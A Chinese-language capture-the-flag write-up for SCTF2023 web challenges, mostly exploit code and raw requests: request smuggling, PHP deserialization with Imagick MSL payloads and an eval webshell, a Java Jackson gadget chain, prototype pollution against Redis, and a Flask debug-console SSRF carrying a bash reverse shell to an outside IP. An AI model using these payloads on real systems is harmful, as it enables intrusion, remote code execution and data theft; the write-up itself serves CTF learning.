June 20, 2023

SCTF2023 Web WriteUp

前言

特别鸣谢@m1sery@zwx风信子 三位共同作战的朋友

战绩十分不错!

CheckIn

Apache 2.4.55 走私,签到题,但是U1S1我觉得很无语。
http://115.239.215.75:8082/2023/%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/2022.php%3furl%3d114.116.119.253:7777%253fa%253d
因为我并不知道是2022.php害我卡了好一会儿。需要注意的是走私的请求里的?=需要做一下二次编码的处理

fumo_backdoor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
error_reporting(0);
ini_set('open_basedir', __DIR__.":/tmp");
define("FUNC_LIST", get_defined_functions());

class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;

public function __sleep() {
if (
file_exists($this->path) &&
preg_match_all('/[flag]/m', $this->path) === 0
) {
readfile($this->path);
}
}

public function __wakeup() {
$func = $this->func;
if (
is_string($func) &&
in_array($func, FUNC_LIST["internal"])
) {
call_user_func($func);
} else {
$argv = $this->argv;
$class = $this->class;

new $class($argv);
}
}
}

$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];

switch ($cmd) {
case 'unserialze':
unserialize($data);
break;

case 'rm':
system("rm -rf /tmp 2>/dev/null");
break;

default:
highlight_file(__FILE__);
break;
}

看的这个https://github.com/AFKL-CUIT/CTF-Challenges/blob/master/CISCN/2022/backdoor/writup/writup.md
现在远程可以跑到_sleep里面,基本上就纯纯原题了。稍微改了点,include变为了readdir,因此我们很难getshell。那就改变思路了。首先我们知道flag是在根目录的,但是由于open_basedir我们并没有权限去读取,因此我们需要配合imagick的msl语言特性,把flag读到/tmp目录下,然后再利用上述payload去触发__sleep,读取flag文件
首先我们需要用如下payload把flag移动到tmp目录下

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="mvg:/flag" />
<write filename="/tmp/xnythinx" /> #不能包含f l a g字母中的任何一个,那个正则识别的是4个字母
</image>

mvg:对文件头似乎没有强制要求
这样可以把根目录下的 flag 文件移动到 /tmp 中,配合__sleep 中的文件读取拿到 flag
然后就是按照上述github的原题去复现,首先我们需要写入一个session,可以配合ppm的文件格式在末尾插入一个脏数据。这里需要本地debug一下。
第一段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /?data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22aadsad%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D&cmd=unserialze HTTP/1.1
Host: 47.99.77.113:18080
Accept: */*
Content-Length: 702
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979

--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86MTM6ImZ1bW9fYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czo5OiIvdG1wL3Nlc3MiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" />
<write filename="/tmp/sess_pop" />
</image>
--------------------------c32aaddf3d8fd979--

第二段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /?data=O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22aadsad%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D&cmd=unserialze HTTP/1.1
Host: 47.99.77.113:18080
Accept: */*
Content-Length: 320
Content-Type: multipart/form-data; boundary=------------------------c32aaddf3d8fd979

--------------------------c32aaddf3d8fd979
Content-Disposition: form-data; name="swarm"; filename="swarm.msl"
Content-Type: application/octet-stream

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="mvg:/flag" />
<write filename="/tmp/sess" />
</image>
--------------------------c32aaddf3d8fd979--

然后携带PHPSESSID=pop,去触发sleep,读取flag文件,yoooooooooooooo

Hellojava

绕过了那个Mybean的ifinput后可以清空黑名单
然后打一条jackson的链子
这一题的问题点就是怎么给那个input注入一个值,他jackson注解是标识了@jacksoninject,但是

根据调试发现,我们注入的input值为空。

名字获取的是’’因此,在我们注入的时候,需要用{"":true,"base64Code":"AAAAAAAA"},这样方可避免报错,进入下一步骤。
然后就是审计依赖发现敏感依赖

然后scala里的lazylist是出过java反序列化漏洞的,我们可以利用exp清空任意文件的内容
https://github.com/yarocher/lazylist-cve-poc/blob/main/src/main/java/poc/cve/lazylist/payload/LazyList.java
按照上述github项目搭建好,就会生成一个序列化文件,把他base64后打入题目,就会清空黑名单

1
rO0ABXNyADZzY2FsYS5jb2xsZWN0aW9uLmltbXV0YWJsZS5MYXp5TGlzdCRTZXJpYWxpemF0aW9uUHJveHkAAAAAAAAAAwMAAHhwc3IAJnNjYWxhLnJ1bnRpbWUuTW9kdWxlU2VyaWFsaXphdGlvblByb3h5AAAAAAAAAAECAAFMAAttb2R1bGVDbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7eHB2cgAmc2NhbGEuY29sbGVjdGlvbi5nZW5lcmljLlNlcmlhbGl6ZUVuZCQAAAAAAAAAAwIAAHhwc3IAI3NjYWxhLmNvbGxlY3Rpb24uaW1tdXRhYmxlLkxhenlMaXN0AAAAAAAAAAMDAAVaAAhiaXRtYXAkMFoADW1pZEV2YWx1YXRpb25aADNzY2FsYSRjb2xsZWN0aW9uJGltbXV0YWJsZSRMYXp5TGlzdCQkc3RhdGVFdmFsdWF0ZWRMAAlsYXp5U3RhdGV0ABFMc2NhbGEvRnVuY3Rpb24wO0wAKnNjYWxhJGNvbGxlY3Rpb24kaW1tdXRhYmxlJExhenlMaXN0JCRzdGF0ZXQAK0xzY2FsYS9jb2xsZWN0aW9uL2ltbXV0YWJsZS9MYXp5TGlzdCRTdGF0ZTt4cAAAAXNyAExzY2FsYS5zeXMucHJvY2Vzcy5Qcm9jZXNzQnVpbGRlckltcGwkRmlsZU91dHB1dCQkYW5vbmZ1biQkbGVzc2luaXQkZ3JlYXRlciQzAAAAAAAAAAACAAJaAAhhcHBlbmQkMUwABmZpbGUkMnQADkxqYXZhL2lvL0ZpbGU7eHAAc3IADGphdmEuaW8uRmlsZQQtpEUODeT/AwABTAAEcGF0aHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAYLi9zZWN1cml0eS9ibGFja2xpc3QudHh0dwIAL3hzcQB+AAJ2cgAwc2NhbGEuY29sbGVjdGlvbi5pbW11dGFibGUuTGF6eUxpc3QkU3RhdGUkRW1wdHkkAAAAAAAAAAMCAAB4cHh4

然后使用jackson的普通利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package org.example;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.http.HttpEntity;
import org.springframework.http.HttpHeaders;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URI;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.Base64;

public class TemplatesImplChain {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "caonima");
byte[] code= Files.readAllBytes(Paths.get("E:\\CTFLearning\\JackSonPOJO\\target\\classes\\org\\example\\b.class"));
byte[][] codes={code};
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",codes);
POJONode jsonNodes = new POJONode(templates);
BadAttributeValueExpException exp = new BadAttributeValueExpException(11);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);
//deserial(serial(exp));
System.out.println(serial(exp));
}
public static void doPOST(byte[] obj) throws Exception{
HttpHeaders requestHeaders = new HttpHeaders();
requestHeaders.set("Content-Type", "text/plain");
URI url = new URI("http://112.124.14.13:8080/bypassit");
HttpEntity<byte[]> requestEntity = new HttpEntity <> (obj,requestHeaders);

RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
System.out.println(res.getBody());
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

得到base64字符串

1
rO0ABXNyADZzY2FsYS5jb2xsZWN0aW9uLmltbXV0YWJsZS5MYXp5TGlzdCRTZXJpYWxpemF0aW9uUHJveHkAAAAAAAAAAwMAAHhwc3IAJnNjYWxhLnJ1bnRpbWUuTW9kdWxlU2VyaWFsaXphdGlvblByb3h5AAAAAAAAAAECAAFMAAttb2R1bGVDbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7eHB2cgAmc2NhbGEuY29sbGVjdGlvbi5nZW5lcmljLlNlcmlhbGl6ZUVuZCQAAAAAAAAAAwIAAHhwc3IAI3NjYWxhLmNvbGxlY3Rpb24uaW1tdXRhYmxlLkxhenlMaXN0AAAAAAAAAAMDAAVaAAhiaXRtYXAkMFoADW1pZEV2YWx1YXRpb25aADNzY2FsYSRjb2xsZWN0aW9uJGltbXV0YWJsZSRMYXp5TGlzdCQkc3RhdGVFdmFsdWF0ZWRMAAlsYXp5U3RhdGV0ABFMc2NhbGEvRnVuY3Rpb24wO0wAKnNjYWxhJGNvbGxlY3Rpb24kaW1tdXRhYmxlJExhenlMaXN0JCRzdGF0ZXQAK0xzY2FsYS9jb2xsZWN0aW9uL2ltbXV0YWJsZS9MYXp5TGlzdCRTdGF0ZTt4cAAAAXNyAExzY2FsYS5zeXMucHJvY2Vzcy5Qcm9jZXNzQnVpbGRlckltcGwkRmlsZU91dHB1dCQkYW5vbmZ1biQkbGVzc2luaXQkZ3JlYXRlciQzAAAAAAAAAAACAAJaAAhhcHBlbmQkMUwABmZpbGUkMnQADkxqYXZhL2lvL0ZpbGU7eHAAc3IADGphdmEuaW8uRmlsZQQtpEUODeT/AwABTAAEcGF0aHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAYLi9zZWN1cml0eS9ibGFja2xpc3QudHh0dwIAL3hzcQB+AAJ2cgAwc2NhbGEuY29sbGVjdGlvbi5pbW11dGFibGUuTGF6eUxpc3QkU3RhdGUkRW1wdHkkAAAAAAAAAAMCAAB4cHh4

分别打入:



收到反弹shell,读取flag结束

An4er_monitor

存在原型链污染。
写着写着就钻进去了

现在的情况是让题目代码中的securerandom为自定义的内容,或者是其他的方法覆盖他?(我目前的思路,图上的是js处理redis命令请求的部分,假如能污染某一处说不定有奇效?)
/api/server/import路由处是进行原型链污染的点,可以污染任何undefined的对象。
现在的思路就如上,在ioredis进行get或者set的流程中是否有地方可以原型链污染,导致我们添加一个恶意的键进去?
问了一下龙哥,事实证明思路大致对了一半,但是想法可能有点歪

我们跟一下流程
image.png
这里需要注意一下,由于我们method设置的是SET,在进入request()方法后,会进行一系列的处理,感兴趣的师傅可以自行debug,这里我忘了截图,然后我们也会读取socketpath,至于socketpath有什么用,我询问了chatgpt,他提供一个image.png
大概的意思我们可以通过这个文件,与服务器进行通讯以及执行命令,redis也不例外,在这一题的redis.conf,我们可以发现
image.png
也就是说假如我们污染socketpath为这值,那么我们将与redis之间进行通讯,由于SET被当做了一个合法的指令,然后由于我们污染了socketpath,因此我们会使用socket与redis进行通讯,会发送一个header
image.png
这里我的Path是/,假如把Path改为IsADmin,那么我们就可以利用这个只需SET指令,让IsADmin=HTTP/1.1了,这样就可以进行登录获取flag哈哈哈,我本地搭建一个环境。
因此我们只需要使用payload

1
2
3
?urls.__proto__.method=SET
?urls.__proto__.path=IsAdminSession
?urls.__proto__.socketPath=/run/redis/redis.sock

然后访问check路由随便去触发一下那个http.get,之后访问/getflag即可

pypyp?

首先题目入口进去应该是需要用session_upload_progress
去注册一个session,得到session后可以获得题目源码(upload_progress to set session,then we are in the chal)
你问我接下来怎么走?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST / HTTP/1.1
Host: localhost
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/a
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=boogipop
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzALlheET
Content-Length: 255
------WebKitFormBoundaryzALlheET
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php eval($_POST[1]);?>
------WebKitFormBoundaryzALlheET
Content-Disposition: form-data; name="data"
xxx

有三个利用点(three points which are vul)

通过内置类去触发xxe,进而得到题目的源码app.py,这样就可以进行下一步的处理,这就xxe试试看。(xxe exploit to read anyfile)

app.py:
The request content:
同样也开启了debug模式

我们完全可以读取key,然后伪造一个pin码,由于还有一个利用条件没有用到,那就是上述第一个条件,可以触发一个__call方法,这里可以用SoapClient去SSRF,由于算pin码rce需要设置cookie的header。所以我们用SoapClient可以自定义请求包和请求内容,这样就完成了RCE!也符合题目写的hint:”简单 但也很绕”

  • Machine id : 349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687
  • hex(Mac) : 0x0242ac130002 => /sys/class/net/eth0/address
  • moddir:关于这一点比较他妈的操蛋,由于python服务没给我们输入的参数去触发报错,导致我们只可以取通过读目录的方式获取/flask/app.py在哪儿了。直接说结论吧,用GlobIterrator类配合glob伪协议去找每个可能一点的目录,最后在/usr/lib/python3.8/site-packages/flask/app.py,这个是问chatgpt后有思路的,因为/etc/passwd中的root用户对应/bin/ash,然后就找了一下

最后在@zwx风信子的帮助下有了一个算pin的脚本,这是github的一个项目
https://github.com/WiIs0n/Flask-cookie-generation-based-on-PIN-code

1
python3 exp.py --username app --modname flask.app --appname Flask --basefile /usr/lib/python3.8/site-packages/flask/app.py --uuid 2485378023426 --machineid 349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687


成功算出pin了。剩下的就和我之前的思路一样,去通过soapclient去访问debug界面,由于debugmode的rce需要携带cookie,因此只有soapclient可以做到

1
2
3
4
5
6
7
8
9
10
11
<?php
$target = 'http://127.0.0.1:5000/console?&__debugger__=yes&cmd=__import__(%22os%22).popen(%22bash%20-c%20%5C%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F114.116.119.253%2F7777%20%3C%261%5C%22%22)&frm=0&s=DhOJxtvMXCtezvKtqaK9';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: __wzdb2a60e2b19822632a67c=1687106351|11b8517fb9fb'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>"wupco\r\n".join("\r\n",$headers),'uri'=> "aaab"));
$arr=Array("properties"=>urlencode(serialize($b)),"type"=>"SimpleXMLElement");
$aaa = serialize($arr);
echo $aaa;
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST / HTTP/1.1
Host: 115.239.215.75:8081
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.51
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: PHPSESSID=boogipop
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzALlheET
Content-Length: 866

------WebKitFormBoundaryzALlheET
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

asdasda
------WebKitFormBoundaryzALlheET
Content-Disposition: form-data; name="data"

a:2:{s:10:"properties";s:604:"O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A4%3A%22aaab%22%3Bs%3A8%3A%22location%22%3Bs%3A207%3A%22http%3A%2F%2F127.0.0.1%3A5000%2Fconsole%3F%26__debugger__%3Dyes%26cmd%3D__import__%28%2522os%2522%29.popen%28%2522bash%2520-c%2520%255C%2522bash%2520-i%2520%253E%2526%2520%252Fdev%252Ftcp%252F114.116.119.253%252F7777%2520%253C%25261%255C%2522%2522%29%26frm%3D0%26s%3DDhOJxtvMXCtezvKtqaK9%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A92%3A%22wupco%0D%0AX-Forwarded-For%3A+127.0.0.1%0D%0ACookie%3A+__wzdb2a60e2b19822632a67c%3D1687106351%7C11b8517fb9fb%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D";s:4:"type";s:16:"SimpleXMLElement";}


后面用curl提个权读flag就行了。

SycServer

Vanzy爷爷太强拉,会逆向,然而我这只web狗并不会逆向,所以这题就挂啦~
我的思路是,肯定是利用zipslip去覆盖一下私钥,然后admin路由对私钥有一些处理,可惜我没逆出来呀!
赛后问了一下,在admin路由里其实是会执行ssh -i rsa_key vanzy@xxxxx
这个指令去读取密钥文件的。然后我们可以再密钥文件里加入一条恶意的语句
command=xxxxxxx,也就是标记ssh连接后干啥。写个反弹shell就出了呜呜
大致步骤就是

这里设计到一个ssh指令的特性,ssh在读取密钥文件的时候,会识别密钥文件中的command=xxx,这样实际上就是一个ssh后门

X:D

附上一段小花絮:
和外国的vn师傅一起做的这道题,好久没感觉到CTF的激情了,然后这一次比赛VN的师傅也是火力全开,体验到了一次联队的热情,希望VN以后可以越来越好
以下是和外国的VN师傅zwx风信子的聊天花絮

算pin
image.png
算cookie
image.png
算出来啦
image.png
debug soapclient的问题:
image.png
image.png
image.pngimage.png
image.png
到这里是可以在远程服务器执行命令,touch一个文件了,但是读不到flag,也cp不了flag
image.png
到这里我以为内网的flask是不出网的,结果我傻逼了,咋可能不出网呢,被提醒之后就弹shell了
image.png
最后就是提权得到flag,这一次比赛属于是打的比较开心了,vn的师傅也都非常的给力。best v&n team

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp